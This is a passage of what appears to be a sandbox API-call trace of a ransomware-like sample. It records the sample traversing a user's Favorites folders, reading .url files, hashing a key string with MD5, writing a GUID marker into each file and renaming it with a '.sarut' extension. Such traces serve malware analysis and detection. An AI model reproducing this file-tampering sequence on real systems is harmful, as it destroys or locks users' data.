[0270.742] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.742] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.742] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.742] CloseHandle (hObject=0x5c4) returned 1 [0270.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.sarut")) returned 1 [0270.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.745] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.746] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0270.746] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0270.746] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.746] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.746] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.747] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.748] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.750] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.750] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.750] PathFindFileNameW (pszPath="") returned="" [0270.750] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.751] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.751] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0270.751] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.751] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.752] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0270.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.752] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.755] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.755] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.756] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.756] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.756] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.756] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.756] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.756] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.756] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.757] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.757] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.757] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.757] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.757] GetLastError () returned 0x0 [0270.757] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.757] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.757] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.757] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.757] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.758] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.758] CloseHandle (hObject=0x5c4) returned 1 [0270.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.761] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.761] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.sarut")) returned 1 [0270.763] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0270.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.763] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0270.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.769] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.769] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.772] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.772] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.773] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.773] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.773] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.773] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.773] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.774] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.774] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.774] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.774] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.774] GetLastError () returned 0x0 [0270.775] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.775] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.775] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.775] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.775] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.775] CloseHandle (hObject=0x5c4) returned 1 [0270.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0270.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0270.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.sarut")) returned 1 [0270.782] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0270.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.782] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0270.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.788] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.788] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.790] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, 